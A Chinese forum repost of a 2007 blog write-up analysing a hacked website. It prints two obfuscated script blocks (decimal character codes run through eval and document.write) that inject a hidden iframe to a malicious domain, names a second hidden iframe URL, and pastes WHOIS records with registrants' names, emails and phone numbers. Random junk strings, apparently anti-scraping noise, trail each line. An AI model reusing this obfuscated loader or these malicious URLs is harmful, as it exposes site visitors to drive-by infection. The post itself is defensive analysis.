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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, kZVm1W1  
kX[fy7rVt  
http://www.areway.cn/?p=175 ,=o0BD2q  
Z^zbWFO]5  
? } (=  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: =x0No*#|'  
          aq Mc6N`z  
<script>t=’60,105,102,114,97,109,101, t)N;'v  &  
32,115,114,99,61,104,116,116,112,58,47,47, j$x)pB3]  
102,114,101,101,46,117,45,117,117,117,46,99, 5)'P'kVi7.  
110,47,101,114,114,111,114,46,104,116,109, o2=A0ogz?  
32,119,105,100,116,104,61,49,48,48,32,104, K=6UK%y A  
101,105,103,104,116,61,48,62,60,47,105,102, =MLf[   
114,97,109,101,62′; XoR>H4xh  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> +y&d;0!  
                                                                                                  ?t rV72D  
<script>t=’60,105,102,114,97,109,101,32,115, "&lN\&:  
114,99,61,104,116,116,112,58,47,47,102,114, Z0ReWrl;`  
101,101,46,117,45,117,117,117,46,99,110,47, ~ y;y(4<  
101,114,114,111,114,46,104,116,109,32,119, jxw_*^w"  
105,100,116,104,61,49,48,48,32,104,101,105, t`G)b&3_O  
103,104,116,61,48,62,60,47,105,102,114,97, :eOR-}p'  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); nrpI5t.b  
document.write(t);</script> 8g*hvPc  
                                                                                                  *7" L]6  
<html xmlns=” 4_LQ?U>$  
http://www.w3.org/1999/xhtml #Qbl=o4  
“> Y ?'tUV  
<head> &Un6ay  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> ~]WVG@-  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> ,P6=~q3k  
<title>首页 - 爱生活家庭网 aMK~1]Cx  
                                                                                                                                                    5HlWfD  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 ksWSMxm  
转换字符串后的大概内容是(谁点击后果自付): X=~V6m  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… Ct]A%=cZW  
                                                                                                                                  ?a.+j8pbGg  
查询玉米u-uuu.cn的详细信息: ZA\/{Fw  
Domain Name: u-uuu.cn 7*s8 ttX  
ROID: 20070901s10001s64972306-cn RFko>d  
Domain Status: ok ~rv})4h  
Registrant Organization: 王雷 $/_ qE  
Registrant Name: 王雷 0a2@b"l  
Administrative Email: czlovexs@126.com .Q>!B?)  
Sponsoring Registrar: 北京万网志成科技有限公司 VC-;S7k  
Name Server:ns.yovole.com ^# e~g/  
Name Server:ns1.yovole.com Veji^-0E  
Registration Date: 2007-09-01 17:54 rt4Z;  
Expiration Date: 2008-09-01 17:54 O~@fXMthh  
最后PING了一下地址 都没有什么…. g4&jo_3:p  
                                                                                                xh0xSqDM  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. T_#, A0G  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> ,EEPh>cXc  
<script language=”javascript” src=” $%2H6Eg0  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script /_\W+^fE  
> 4MW ]EQ-  
这个玉米应该有可能是木马作者的: j@1)K3Hga  
foafau.info的详细信息: fgF;&(b  
Access to INFO WHOIS information is provided to assist persons in Ec]|p6a3  
determining the contents of a domain name registration record in the x<B'.3y  
Afilias registry database. The data in this record is provided by *'ZN:5%H  
Afilias Limited for informational purposes only, and Afilias does not x5Zrz<Y$w  
guarantee its accuracy.  This service is intended only for query-based ^O6* e]C$  
access. You agree that you will use this data only for lawful purposes nr\q7  
and that, under no circumstances will you use this data to: (a) allow, l@~LV}BI  
enable, or otherwise support the transmission by e-mail, telephone, or 3HiFISA*  
facsimile of mass unsolicited, commercial advertising or solicitations .mxTfP=9  
to entities other than the data recipient’s own existing customers; or xiM&$<LpR  
(b) enable high volume, automated, electronic processes that send G&9#*<F$c  
queries or data to the systems of Registry Operator, a Registrar, or I&]G   
Afilias except as reasonably necessary to register domain names or cd.brM  
modify existing registrations. All rights reserved. Afilias reserves .%xzT J=!  
the right to modify these terms at any time. By submitting this query, %_gho  
you agree to abide by this policy. |M5-5)  
Domain ID:D22418703-LRMS  Mm= Mz  
Domain Name:FOAFAU.INFO y,m2(V  
Created On:20-Nov-2007 16:05:42 UTC H{fM%*w  
Last Updated On:20-Nov-2007 16:05:44 UTC 6)*xU|fU  
Expiration Date:20-Nov-2008 16:05:42 UTC 8_we: 9A  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) (P@Y36j>N  
Status:CLIENT DELETE PROHIBITED I cF@F>>  
Status:CLIENT RENEW PROHIBITED 85]SC$  
Status:CLIENT TRANSFER PROHIBITED :tGYs8UK  
Status:CLIENT UPDATE PROHIBITED g]$ 4~"|.  
Status:TRANSFER PROHIBITED < {ru|-9  
Registrant ID:GODA-040110615 >+9JD%]x]  
Registrant Name:liu hong d"T Ht}  
Registrant Organization: Q9>U1]\  
Registrant Street1:beijing J7&DR^.Sw  
Registrant Street2: Fhj8lVvk  
Registrant Street3: yA7 )Y})>  
Registrant City:beijing 5lmO:G1  
Registrant State/Province: H\G{3.T.9  
Registrant Postal Code:100000 &__DJ''+  
Registrant Country:CN /"#4T^7&  
Registrant Phone:+86.860108888777 Vk}49O<K/  
Registrant Phone Ext.: ,M6ZZ* ,e  
Registrant FAX: 4j'd3WGpbN  
Registrant FAX Ext.: ' UMFS  
Registrant Email:bbbshiji@163.com *\XH+/]+  
Admin ID:GODA-240110615 bEH de*q(  
Admin Name:liu hong 8^yJqAXK  
Admin Organization: f7<pEGb  
Admin Street1:beijing .v`b[4M4  
Admin Street2: e~\QE0Oe:  
Admin Street3: "pvZ,l>8f  
Admin City:beijing mLwY]2T"  
Admin State/Province: $H2GbZ-I  
Admin Postal Code:100000 M}F~_S0h  
Admin Country:CN }ot"Sx\.  
Admin Phone:+86.860108888777 Nhf~PO({&  
Admin Phone Ext.: wNQqfq Z  
Admin FAX: G=d(*+& B  
Admin FAX Ext.: hR)2xz  
Admin Email:bbbshiji@163.com jBtj+ TL8  
Billing ID:GODA-340110615 `T WN^0!]  
Billing Name:liu hong <' m6^]:  
Billing Organization: clDHTj=~  
Billing Street1:beijing @LX6hm*}  
Billing Street2: M]EsS^/X  
Billing Street3: )pgrl  
Billing City:beijing `y!/F?o+!  
Billing State/Province: @h?crJ6$  
Billing Postal Code:100000 &a)vdlZSE=  
Billing Country:CN kU*{4G|6  
Billing Phone:+86.860108888777 grcbH  
Billing Phone Ext.: >SI<rR[~%  
Billing FAX: JWHS nu!  
Billing FAX Ext.: r|R7- HI  
Billing Email:bbbshiji@163.com ;#anZC;  
Tech ID:GODA-140110615 8L{u}|{  
Tech Name:liu hong )iLM]m   
Tech Organization: D-ADv3E,  
Tech Street1:beijing y!Cc?$]_Y  
Tech Street2: ^^?q$1k6r*  
Tech Street3: yI8tH!  
Tech City:beijing iS: #o>  
Tech State/Province: "QY1.:o<(  
Tech Postal Code:100000 9]yW_]P  
Tech Country:CN [_!O<z_sB  
Tech Phone:+86.860108888777 E`D%PEps+  
Tech Phone Ext.: b`~wG e  
Tech FAX: u<Xog$esu  
Tech FAX Ext.: H~fdbR  
Tech Email:bbbshiji@163.com  .5Z_E O  
Name Server:NS27.DOMAINCONTROL.COM (xT*LF+  
Name Server:NS28.DOMAINCONTROL.COM VXKT\9g3A  
Name Server: Re[ :qLa]  
Name Server: ujzW|HW^v  
Name Server:  Y7Gs7  
Name Server: NGTe4Crx  
Name Server: XD%wj  
Name Server: 46XN3r  
Name Server: Z85|I.mr  
Name Server: La,QB3K/  
Name Server: $99R|^  
Name Server: ?d-70pm  
Name Server: w]!0<  
                                                                                                          "4 k-dj  
接着下载每个文件里面的代码: 0i@:KYP  
一步一步看.. > <Z'D  
%xlpB75N4N  
1y[B[\  
HOPqxI(k  
!: us!s  
5K.+CO<  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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